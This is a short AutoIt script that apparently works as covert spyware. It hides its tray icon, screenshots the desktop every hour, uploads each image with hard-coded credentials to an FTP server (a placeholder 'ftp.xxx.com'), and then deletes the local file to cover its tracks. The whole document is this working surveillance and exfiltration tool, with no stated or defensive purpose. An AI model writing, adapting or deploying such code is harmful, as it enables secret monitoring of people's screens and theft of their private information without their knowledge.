#include <ScreenCapture.au3>
#include <FTPEx.au3>


#NoTrayIcon
$k=0
While 1
    $file = @ComputerName & "." & @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & "-" & @MIN  & ".jpg"
    PrintScreen() 
    ftp()
	Sleep(3600000)
    
WEnd

Func PrintScreen() 
    _ScreenCapture_Capture(@HomeDrive & "\" & $file)
EndFunc 

Func ftp() 
$server = 'ftp.xxx.com'
$username = 'user'
$pass = 'user'

$Open = _FTP_Open('FTP')
$Conn = _FTP_Connect($Open, $server, $username, $pass, 1)
_FTP_FilePut($Conn, @HomeDrive & "\" & $file, "/temp/org1/" & $file)
$Ftpc = _FTP_Close($Open)
FileDelete ( @HomeDrive & "\" & $file )
EndFunc